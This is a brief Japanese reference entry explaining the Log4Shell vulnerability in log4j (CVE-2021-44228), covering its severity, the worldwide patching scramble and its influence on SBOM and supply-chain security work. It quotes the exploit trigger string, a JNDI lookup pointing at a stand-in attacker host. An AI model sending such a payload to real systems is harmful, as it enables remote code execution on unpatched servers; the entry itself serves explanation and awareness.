Log4Shell
Javaのログライブラリlog4jに見つかった壊滅的な脆弱性（CVE-2021-44228、2021年12月）。文字列をログに記録するだけで任意のコードが実行できた。
引き金は ${jndi:ldap://evil.com/x} という文字列である。log4jは世界中の何十億ものJavaシステムに入っており、CVSSスコアは10.0。何週間にもわたってパッチ適用の大混乱が続いた。オープンソース依存関係におけるサプライチェーンリスクの象徴となり、EUと米国でSBOMやセキュリティ報告に関する取り組みを後押しした。